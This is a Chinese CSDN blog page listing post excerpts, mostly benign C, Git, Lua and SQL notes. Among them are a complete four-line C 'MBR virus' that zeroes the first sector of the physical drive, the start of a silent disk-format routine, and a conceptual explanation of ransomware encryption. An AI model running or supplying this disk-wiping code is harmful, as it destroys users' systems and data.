自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

Qode

人生天地之间,若白驹过隙,忽然而已

  • 博客(67)
  • 资源 (2)
  • 收藏
  • 关注

原创 GIT 中文乱码

# 使用 utf-8 编码集提交命令git config --global i18n.commitencoding utf-8# 日志输出时使用 utf-8 编码集显示git config --global i18n.logoutputencoding utf-8# 设置LESS字符集为 utf-8export LESSCHARSET=utf-8

2020-08-03 18:36:30 217

原创 C语言 时间戳转换

#include "stdio.h"#include "time.h"#include "string.h" char *t2t(time_t tick){ struct tm tm; static char s[100]; memset(s, 0, sizeof(s)); tm = *localtime(&tick); strftime(s, sizeof(s), "%Y-%m-%d %H:%M:%S", &tm); return s; }int

2020-06-03 17:39:14 2691

原创 C语言 文件映射

#include <windows.h>#include <stdio.h>typedef struct { HANDLE hFile; HANDLE hMapping; PVOID p; char *mem; int ok;} FP;void CloseF(FP *fp){ if(fp==NULL) return; if (fp->hFile != INVALID_HANDLE_VALUE) { CloseHandle(fp->hFi

2020-06-02 16:02:31 1052

原创 C语言 HexDump

#include <stdio.h>// 内存查看void hexDump(const unsigned char *data, size_t size){ int i; size_t offset = 0; while (offset < size) { printf("%04x ", offset); for (i=0; i<16; i++) { if (i%8 ==

2020-06-01 15:41:29 951

原创 CSDN 页面一直自动刷新

好长时间没写博客了,打算更新点东西,结果卡在博客这个页面一直不停的刷新,起初以为是电脑问题,结果重启无果。然后简单百度了一下,发现也有人最近碰上这个问题,按照博主给出的方法,清空缓存 试了下,果然可以正常访问了,诶。火狐浏览器...

2020-04-28 14:50:02 1171

原创 TCC 编译 Lua

run.bat@echo offset FP=srccd /d %~dp0PATH="%cd%"for /f %%i in ('dir /b "%FP%\*.c"') do (if %%i neq luac.c (call set b=%%b%% %%i))cd %FP%..\tcc\tcc %b% -o ..\lua.exe -I.pause目录结构.├─src└─t...

2019-11-22 11:02:15 322

原创 Git 精简命令

# 初次安装完配置git config --global user.name "你的用户名"git config --global user.email 你的邮箱git config --global core.quotepath false# 创建版本库git init # 添加历史记录git add --allgit commit -m "注释信息"# 回退历史git...

2019-11-06 13:58:45 159

原创 Everything SDK 使用

#include <stdio.h>#include "Everything.h"int main(int argc, char **argv){ DWORD i; Everything_SetSearch("hello"); // 查找字符 Everything_SetRequestFlags(EVERYTHING_REQUEST_FILE_NA...

2019-10-15 15:02:52 1222

原创 字体设置对话框

#include <windows.h>#include <commdlg.h>#include <stdio.h>typedef struct{ int bold; int italic; int size; char name[32];} FontStyle;int FontMsg(FontStyle *fs...

2019-09-27 14:13:16 428

原创 C语言 PE文件获取自身大小

#include <windows.h>#include <stdio.h>DWORD GetPEFileRealSize(LPCTSTR lpszFile){ DWORD dwSize = 0; int i = 0; HANDLE hFile = CreateFile(lpszFile, GENERIC_READ, FILE_SHARE_READ, 0, ...

2019-09-21 16:48:12 791

原创 BAT 脚本

:: 关闭回显@echo off:: 设置控制台行列,颜色mode con cols=100 lines=30 & color 0a:: 设置参数set param=1234echo %param%:: 获取传入参数 %n:: %0 为批处理本身文件路径echo 参数1:%0echo 参数2:%1 ::去掉参数两边的引号echo %~0:: d 驱动器 ...

2019-08-23 10:22:18 115

原创 C语言 打印函数

可变参数#include <stdio.h>#include <stdarg.h>void my_print(int n, char *fmt, ...){ char printf_buf[128] = {0}; va_list args; va_start(args, fmt); vsprintf(printf_buf, fmt, args); pri...

2019-08-23 09:00:37 3885

原创 停机问题的误解

问题停机问题(Halting problem):是否存在这样一个程序,他能判断任意程序在输入确定的情况下是否为死循环。可以用 while(true) 表示死循环,构造例子如下:判断(输入){ if (输入 是死循环) return 死循环 else return 停机}假设有两个程序:A(){ return;}B(){ while(true);}那么...

2019-08-21 02:16:26 715

原创 C# 窗体弹出效果

using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using System.Drawing;using System.Linq;using System.Text;using System.Threading.Tasks;using System.W...

2019-08-16 16:08:37 2617

原创 C语言 打印可变参数

#include <stdio.h>#include <stdarg.h> // 可变参数头文件void my_print(int n, char *fmt, ...){ char printf_buf[128] = {0}; va_list args; va_start(args, fmt); vsprintf(printf_buf, fmt, args)...

2019-08-15 13:08:04 553

原创 LaTeX 公式 在线编辑

我们以公式$$1 - \sum_{k=0}^z \frac {\lambda^k e^{-\lambda}}{k!} (1 - (\frac {q} {p})^{(z-k)})$$1−∑k=0zλke−λk!(1−(qp)(z−k))1 - \sum_{k=0}^z \frac {\lambda^k e^{-\lambda}}{k!} (1 - (\frac {q} {p})^{(z...

2019-08-14 15:55:55 2348

原创 [图解] 勒索病毒加密原理

示意图原理公开密钥密码体制 要求密钥成对出现,一个用于加密,另一个用于解密,并且且不可能从其中一个推导出另一个。加密过程病毒作者首先在自己电脑上生成的 私钥Q 和 公钥Q,算法可以基于RSA或者椭圆曲线。病毒在目标电脑上随机生成 私钥Z 和 公钥Z将用户电脑上的文件通过 公钥Z 加密将用户电脑上的 私钥Z 通过 公钥Q 加密删除用户电脑上的 私钥Z 、公钥Q、数据解密过程支付...

2019-08-13 23:46:39 8018

原创 DosBox + Masm 学习16位汇编

Masm 是16位汇编工具,所以在64位系统上无法运行,需要 DOS 模拟器安装完 dosbox 之后, 将 masm 文件复制到当前目录只有 dosbox.exe, sdl.dll, sdl_nel.dll 三个文件有用,其余都可删除DosBox 目录如下dosbox.conf 中内容全部清空,复制以下代码[autoexec]mount c .set PATH=%PATH%;c:...

2019-08-08 02:08:18 1052

原创 第二章 Windows API

1.常用的Windows数据类型#include <windows.h>#include <stdio.h>/* ************************************* 功能 Windows 数据类型演示**************************************/int WINAPI WinMain( ...

2019-08-05 10:53:36 141

原创 第一章 Windows程序开发入门

弹出消息对话框/* 预处理 *//* 头文件 */#include <windows.h>//连接时使用User32.lib#pragma comment (lib, "User32.lib")/* ************************************* WinMain* 功能 Windows应用程序示例*******************...

2019-08-05 10:47:58 2325

原创 Windows API 函数创建 下拉菜单 右键菜单

效果代码#include <windows.h>#pragma comment(linker, "/subsystem:windows /entry:WinMainCRTStartup")HMENU g_menu;// 下拉菜单void OnCreate(HWND hWnd){ HMENU hMenu = CreateMenu(); HMENU hM...

2019-08-01 14:39:26 1811 1

原创 正则表达式简单使用

行开始结束标记行开始 ^行结束 $匹配内容任意字符 .数字 \d空白 \s标识符 \w指定字符 [abc]非数字 \D非空白 \S非标识 \W非指定 [^abc]换行 \n匹配数量0~1 ?1~无穷 +0~无穷 *n~m {n,m}匹配模式非贪婪模式 ?例#define N1 1#define N2 2#define N3 3匹配...

2019-07-25 14:30:11 155

原创 WinAPI 数据类型

# 启动 MySQL 服务sudo service mysql start# 使用 root 用户登录,密码为空mysql -u root# 查看全部数据库show databases;# 创建数据库CREATE DATABASE mysql_shiyan;# 连接数据库use mysql_shiyan;# 创建表CREATE TABLE employee (id ...

2019-07-19 15:06:17 1936

原创 C语言 获取 Windows 版本

//获取windows版本信息#define Is2k() (g_uWinVer >= 0x0500)#define IsXP() (g_uWinVer >= 0x0501)#define IsVista() (g_uWinVer >= 0x0600)#define IsW7() (g_uWinVer >= 0x0601)UINT16 g_uW...

2019-07-11 11:03:41 1325

原创 RSA 原理说明

明文=密文DmodN明文=密文^DmodN明文=密文DmodNNN= p * q ;p,q互质LL=lcm(p-1,q-1) ; L为p-1、q-1的最小公倍数EE < L,E, L互质DD < L,E*D mod L = 1...

2019-07-11 10:43:48 441

原创 颐和园

2018年10月23日

2019-07-11 10:21:48 138

原创 Lua 迭代器

无状态迭代器迭代函数是普通函数,输入相同,则输出相同,需要通过额外参数控制状态。--无状态迭代器MAX = 4function sq(num,i) if i<num then i = i+1 return i, i*i endendfor key,val in sq,MAX,0 do print(key.." "..val)end...

2019-07-11 10:13:23 158

原创 SQL 简单操作

建表 CREATE TABLE 表名(列名 类型 限定); 类型:INT EGER REAL CHAR(50) TEXT 限定:PRIMARY KEY NOT NULL UNIQUE DEFAULT CHECK 删表 DROP TABLE ...

2019-07-11 10:10:23 116

原创 GCC 基本使用

选项参数说明gcc源文件.c-E预处理文件.i-C不删除注释-S汇编文件.s-masm=intel使用intel汇编-c目标文件.o-o输出文件名-O0取消优化-Os体积优化-O2推荐优化-xc不根据后缀名判断文件c-headerc++assem...

2019-07-11 10:07:34 136

原创 Lua IO

--写入local file = assert(io.open("demo.txt",'w'))--'a'追加file:write("写入内容") --file:flush()file:close()--读取local file = assert(io.open("demo.txt",'r'))local content = file:read("*all")print(conte...

2019-07-11 09:53:40 153

原创 常用网址

在线编译变量命名Y分钟学习X种语言

2019-07-11 09:51:12 11947

原创 Lua 协程

多线程 就像是实时对战游戏,同一时间两名玩家可以同时运动。协程 就像是棋牌游戏,表面上是两个同时在玩,实际上只是两个人交替执行,同一时间只有一名玩家可以活动。所以协程不会存在死锁等多线程特有的问题。协程可以通过顺序流的代码进行模拟,就像自己跟自己下棋,先走一步,然后坐到对面走一步,再坐回来…多线程如果底层不支持的话是没法模拟的。所以协程更像是一种高级的语法糖,把一个人的步骤分到两个人身上执行,这...

2019-07-11 09:48:40 105

原创 Linux常用文件操作

作用 命令 参数 清屏 clear ctrl+l 时间 data -s 设置时间 删除 rm -r递归 -f不询问 新建 mkdir 文件夹 touch 文件 移动 mv 复制 cp 显示 ls -a所有 -l详细 ...

2019-07-11 09:46:26 104

原创 Lua 模块

意为:写在另一个文件中的代码--test.luatest = {}function test.show() print("This is show function.")endreturn test--use.lua--require "test"require("test")test.show还有一种方法(5.3已废弃, 官方不推荐使用module函数了):mo...

2019-07-11 09:44:23 686

原创 Git 总结

#查看配置$ git config --list #配置用户名邮箱$ git config --global user.name "用户名"$ git config --global user.email [email protected] #初始化仓库$ git init #添加到缓冲区$ git add . #删除工作区+缓冲区$ git rm 文件名 #删除工作区$ r...

2019-07-11 09:39:48 213

原创 C语言 获取网页内容

参考来源:https://blog.csdn.net/xiahn1a/article/details/41680959vc6 上编译通过#include <winsock.h>#include <stdio.h>#pragma comment(lib, "ws2_32.lib")void ReadPage1(char *host, char *fname){...

2019-07-11 09:21:03 6745 6

原创 C语言 静默格式化硬盘

无法格式化正在运行的系统盘静默格式化, 无任何窗口提示#include <windows.h>#pragma comment(linker, "/subsystem:windows /entry:WinMainCRTStartup")// d:需要格式化的盘符void fmtDisk(char d){ char str[] = " : /q /u /y"; str[0...

2019-07-09 15:00:42 1108

原创 C语言 比较日期大小

#include <time.h>#include <stdio.h>int cmptime(int year, int month, int day){ time_t now_time = 0, set_time = 0; struct tm p; p.tm_year = year-1900; p.tm_mon = month-1; p.tm_mday ...

2019-07-09 13:02:23 8237

原创 C语言 简单 MBR 病毒 4行代码

清除 MBR 使系统无法启动#include <stdio.h>int main(){ FILE *disk = fopen("\\\\.\\PHYSICALDRIVE0", "rb+"); char mbr[512] = {0}; fwrite(mbr, sizeof(mbr), 1, disk); fclose(mbr); return 0;}...

2019-07-08 12:31:04 2639 5

原创 C语言 Windows 隐藏任务栏

#include <windows.h>int main(){ ShowWindow (FindWindow("Shell_TrayWnd", NULL), SW_HIDE); // 隐藏任务栏 ShowWindow (FindWindow("Shell_TrayWnd", NULL), SW_SHOW); // 显示任务栏 return 0;}...

2019-07-08 11:12:03 1041

TCC编译Lua.zip

环境 windows 通过 TCC 编译生成 Lua https://blog.csdn.net/weixin_35338800/article/details/103196849

2019-11-22

Dosbox+masm免安装配置.zip

可以查看 文章 https://blog.csdn.net/weixin_35338800/article/details/98810107 有详细说明 绿色免安装免配置, 解压即可使用,

2019-08-08

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除